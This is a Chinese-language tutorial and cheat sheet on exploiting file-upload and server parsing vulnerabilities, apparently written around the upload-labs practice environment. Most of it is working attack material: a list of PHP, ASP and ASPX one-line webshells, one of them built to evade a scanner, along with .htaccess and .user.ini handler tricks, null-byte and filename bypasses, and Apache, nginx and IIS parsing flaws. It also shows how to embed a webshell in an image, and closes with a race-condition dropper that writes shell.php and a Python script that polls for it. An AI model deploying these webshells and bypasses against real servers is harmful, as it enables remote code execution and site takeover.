文件上傳漏洞、解析漏洞總結
1.文件上傳漏洞是什么
文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,並通過此腳本文件獲得了執行服務器端命令的能力。常見場景是web服務器允許用戶上傳圖片或者普通文本文件保存,而用戶繞過上傳機制上傳惡意代碼並執行從而控制服務器。顯然這種漏洞是getshell最快最直接的方法之一,需要說明的是上傳文件操作本身是沒有問題的,問題在於文件上傳到服務器后,服務器怎么處理和解釋文件。
文件上傳漏洞是指用戶上傳了一個可執行腳本文件,並通過此文件獲得了執行服器端命令的能力。在大多數情況下,文件上傳漏洞一般是指上傳 WEB 腳本能夠被服務器解析的問題,也就是所謂的 webshell 問題。完成這一攻擊需要這樣幾個條件,一是上傳的文件能夠這 WEB 容器執行,其次用戶能從 WEB 上訪問這個文件,最后,如果上傳的文件被安全檢查、格式化、圖片壓縮等功能改變了內容,則可能導致攻擊失敗。
解析漏洞是什么?
解析漏洞是指服務器應用程序在解析某些精心構造的后綴文件時,會將其解析成網頁腳本,從而導致網站的淪陷。大部分解析漏洞的產生都是由應用程序本身的漏洞導致的。
1.1常見的一句話木馬
asp一句話木馬:
<%execute(request("value"))%>
php一句話木馬:
<?php @eval($_POST[value]);?>
aspx一句話木馬:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
其他一句話木馬:
<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>
<%If Request("value")<>"" Then Execute(Request("value"))%>
<%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
<SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"],"unsafe");%>
可以躲過雷客圖的一句話木馬:
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""value""))")
%>
不用'<,>'的asp一句話木馬:
<script language=VBScript runat=server>execute request("value")</script>
不用雙引號的一句話木馬:
<%eval request(chr(35))%>
1.2解讀php一句話木馬
1.3獲得webshell常用工具
https://blog.csdn.net/qq_41739364/article/details/100852308
2常見校驗上傳文件的方法
2.1客戶端校驗(前端校驗)
1.通過JavaScript來校驗上傳文件的后綴名是否合法,可以采用白名單,也可以采用黑名的方式
2.判斷方法:在點擊上傳按鈕的時候彈出對話框如下圖所示,而此時並沒有發送數據包
2.2服務端檢驗-白名單
2.2.1檢查http請求頭content-type字段,MIME文件類型
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
2.2.2%00截斷-get用法
%00截斷的使用條件:
php版本必須小於5.3.4
並且php.ini中的magic_quotes_gpc設置為Off
原理是:php的一些函數的底層是C語言,而move_uploaded_file就是其中之一,遇到0x00會截斷,0x表示16進制,URL中%00解碼成16進制就是0x00。
在url中%00表示ascll碼中的0 ,而ascii中0作為特殊字符保留,表示字符串結束,所以當url中出現%00時就會認為讀取已結束
0x開頭表示16進制,0在十六進制中是00, 0x00就是%00解碼成的16進制
www.123.com/imbrave.php%00.jpg => www.123.com/imbrave.php
.jpg就會被解析為.php從而getwebshell
2.2.3%00截斷-post用法
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
為什么修改path才可以?
因為程序中檢測的是文件的后綴名,如果后綴合法則拼接路徑和文件名。
那么,攻擊者修改了path以后的拼接結果為:uploads/aaa.php%00/20190818.php
移動文件的時候會將文件保存為:uploads/aaa.php
從而getwebshell
+的URL編碼的16進制 為2b,將2b改為00即可
2.3服務端檢驗-黑名單
2.3.1上傳特殊后綴可解析的
一些特殊后綴
php:php3、php4、php5、php7、phtml
jsp:jspx、jspf
asp:asa、cer
apache里有個一個配置文件httpd.conf他可以允許一些特殊后綴名上傳,最終都會被解析成php執行如:
AddType application/x-httpd-php .php .phtml.php3.php4.php7 等等
2.3.2上傳.htaccess文件
.htaccess文件(或者"分布式配置文件"),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法, 即,在一個特定的文檔目錄中放置一個包含一個或多個指令的文件, 以作用於此目錄及其所有子目錄。作為用戶,所能使用的命令受到限制。管理員可以通過Apache的AllowOverride指令來設
置。 概述來說,htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以幫我們實現:
網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。
根據以上內容,假如我們自定義一個規則,並讓服務器運行我們定義的規則,便可繞過上傳限制
hatccess寫法一
AddType application/x-httpd-php .后綴名
創建相同后綴名的一句話木馬,作用就是會讓這個后綴名變成php代碼執行
hatccess寫法二
# FileMatch 參數即為文件名的正則匹配
<FilesMatch "xxxx">
SetHandler application/x-httpd-php
</FilesMatch>
2.3.3大小寫饒過
strtolower()如果沒用存在這個函數就如使用大小饒過如:
imbrave.PHP .Php .PHp 等等
2.3.4雙寫饒過
str_ireplace(find,replace,string,count)
find 必需。規定要查找的值。
replace 必需。規定替換 find 中的值的值。
string 必需。規定被搜索的字符串。
count 可選。一個變量,對替換數進行計數。
str_ireplace(php,"",pphphp)通常出現這個函數往往只會替換一次
pphphp 這樣就會進行雙寫饒過 p php hp =》 中的php被替換 剩下p hp =》php
2.3.5點號饒過,空格饒過和::$DATA饒過
.
windows有一個特性,會自動去掉后綴名最后的‘.’
或者是不存在deldot($file_name);//刪除文件名末尾的點
空格
windows有一個特性,會自動去掉后綴名最后的空格
或者是不存在trim($file_name);//刪除文件空格
::$DATA
操作系統必須windows且是php,中間件都可以
php在windows的時候如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名.且保持"::$DATA"之前的文件名
3.解析漏洞
3.1apache服務器
3.1.1apache服務器-多后綴解析漏洞
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。
如1.php.abc,因apache不識別.abc后綴,所以向前解析php
1.php.abc => 1.php
test.php.owf.rar解析成test.php
3.1.2apache服務器-CVE-2017-15715
Apache HTTPD是一款HTTP服務器,它可以通過mod_php來運行PHP網頁。其2.4.0~2.4.29版本中存在一個解析漏洞,在解析PHP時,1.php\x0a將被按照PHP后綴進行解析,導致繞過一些服務器的安全策略。
如:
1.php\x0a => 1.php
復現漏洞,這邊在dockerhub拉了一個鏡像,代碼比較簡單過濾一些后綴
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="text" name="name">
<input type="submit" value="submit">
</form>
</body>
</html>
<?php
if (isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name, PATHINFO_EXTENSION);
if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} ?>
上傳
可以看到這里獲取文件名是需要單獨post一個name的,因為如果通過$_FILES['file']['name']
獲取文件名的話,會把\x0a自動去除,所以$_FILES['file']['name']
這種方式獲取文件名就不會造成這個漏洞
所有只能自己在bp中添加
打開hex,點擊insert byte,放包成功上傳
成功getshell,換行了
如果請求的url參數帶有%0d%0a , 在servlet里得到包含這個字段的string時, %0d%0a 會被轉義為回車
3.2nginx服務器
3.2.1nginx服務器-.user.ini
當使用CGI/FastCGI 來解析php時,php會優先搜索目錄下所有的.ini文件,並應用其中的配置。類似於apache的.htaccess,但語法與.htacces不同,語法php.ini一致。因nginx實際上只是起到轉發的作用,實際解析一般為php-fpm或fastcgi來解析,所以在.user.ini中寫如auto_prepend_file=test.jpg,之后傳.user.initest.jpg,過一段時間等待.user.ini被加載后,會導致每個php文件解析之前先將test.jpg當作php解析
.user.ini的寫法
auto_prepend_file=test.指定后綴
3.2.2nginx服務器-CVE-2013-4547
即上傳一個1.gif,然后訪問1.gif[0x20][0x00].php([0x20][0x00]為空格和\0不需要url編碼),1.gif會被當作php解析
3.2.3IIS 7.0 && nginx<8.03服務器-php-cgi畸形解析漏洞
漏洞原理: Nginx默認是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通過正則匹配。當訪問www.xx.com/phpinfo.jpg/1.php這個URL時,$fastcgi script_ name會被設置為" phpinfo.jpg/1.php",,然后構造成SCRIPT_ FILENAME傳遞給PHP CGI,如果開啟了fix_ pathinfo這 個選項,那么就會觸
發在PHP中的如下邏輯: PHP會認為SCRIPT FILENAME是phpinfojpg,而1.php是PATH_ INFO, 所以就會將phpinfo.jpg作為PHP文件解析。
已測試存在版本:
Nginx 0.5.
Nginx 0.6.
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37
在php配置文件中,開啟了cgi.fix_pathinfo,導致圖片馬1.jpg可以通過訪問1.jpg/.php解析成php
3.3iis服務器
3.3.1iis 5.x/6.0解析漏洞-目錄解析漏洞 /xx.asp/xx.jpg
在網站下創建文件夾名字為.asp、.asa的文件夾,其目錄內的任何擴展名的文件都被iis當做asp文件來解析 並執行。因此只要攻擊者可以通過該漏洞直接上傳圖片馬,並且可以不需要改后綴名!
3.3.2iis 5.x/6.0解析漏洞-文件解析 xx.asp;.jpg
在iis6.0下,分號后面的不被解析,所以xx.asp;.jpg被解析為asp腳本得以執行。
3.3.3iis 5.x/6.0解析漏洞-文件類型解析 asa/cer/cdx
iis6.0 默認的可執行文件除了asp還包含這三種asa、cer、cdx
4檢查內容
4.1文件頭檢查
4.1.1制作圖片馬
三種常見圖片開頭名
JPG:FFD8FFEO00104A464946
GIF: 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
具體參考https://blog.csdn.net/xiangshangbashaonian/article/details/80156865
兩種方式:1.找到正常格式的圖片盡量找小的,制作圖片馬,或直接用記事本圖片最后加上一句話木馬
copy 1.jpg/png/gif/b + 1.php 新文件名
1.php
<?php @eval(@_POST['x']); ?>
4.1.2直接加上文件頭
直接在一句話木馬前加上文件頭來通過檢查如:
GIF89a
<?php @eval(@_POST['x']); ?>
4.2突破函數
4.2.1getimagesize()
getimagesize(string $filename [,array &$imageinfo])//獲取圖像信息,返回一個數組
/*
返回的數組中,索引0:圖像寬度像素值
索引1:圖像高度像素值
索引2:圖像類型,1=GIF,2=JPG,3=PNG,4=SWF,5=PSD,6=BMP,7=TIFF_II,8=TIFF_MM,9=JPC,10=JP2,11=JPX,12=JB2,13=SWC,14=IFF,15=WBMP,16=XBM,17=ICO,18=COUNT
索引3:圖像寬度和高度的字符串
索引bits:圖像的每種顏色的位數,二進制格式
索引channels:圖像的通道值
索引mime:圖像的MIME信息
*/
同樣可以修改文件頭饒過,但是不會只是驗證文件頭的前兩位
4.2.2exif_imagetype()
此函數需要開啟php_exif模塊,傳圖片馬一般就可以饒過
exif_imagetype() 讀取一個圖像的第一個字節並檢查其簽名。
4.3二次渲染
驗證過程:判斷后綴與MIME類型是否符合要求,符合后生成新圖像(內容不正確會失敗,返回false,相當於多了一次驗證),生成新圖像失敗就unlink
刪除,成功就根據系統時間給文件命名,再通過imagejpeg
類似函數使用原圖像資源創建新圖像(二次渲染)。相關函數說明:
basename(string $path [,string $suffix]) //返回路徑中的文件名部分
imagecreatefromjpeg(string $filename)
imagecreatefrompng(string $filename)
imagecreatefromgif(string $filename) //由文件或URL創建一個新圖像,內容不對則失敗返回false,成功后返回圖像資源
srand([int $seed ]) //用seed播下隨機數發生器種子
strval(mixed $var) //返回字符串類型的var
imagejpeg(resource $image [,string $filename [,int $quality]])//從image圖像以filename為文件名創建一個JPEG圖像
imagepng(resource $image [,string $filename]) //從 image 圖像以filename為文件名創建一個PNG圖像或文件
imagegif(resource $image [,string $filename]) //從 image 圖像以filename為文件名創建一個GIF圖像或文件
解法:用winhex找到二次渲染后沒有改變的地方加上一句話即可
傳送門:https://xz.aliyun.com/t/2657#toc-2
4.4條件競爭
驗證過程:服務器先將上傳的文件保存在臨時目錄中,然后再對后綴名進行白名單驗證,並重命名,
rename(string $oldname,string $newname [,resource $context])//把oldname重命名為newname
解法:用burp一直發包,讓php程序一直處於移動php文件到上傳目錄這個階段代碼
執行邏輯:先移動,后檢測,不符合再刪除,符合則改名字
寫一個php
不斷上傳文件,在文件還沒被刪除前去讀取文件,則還沒被刪除前去讀取文件,解析之后會寫入一個內容為``的shell.php
文件
注:"pass"
一定要雙引號,不然單引號之間亂了。
<?PHP echo md5(1);fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
出現ok代表成功上傳了
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://127.0.0.1/upload-labs-master/upload/18pass.php")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print("OK")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()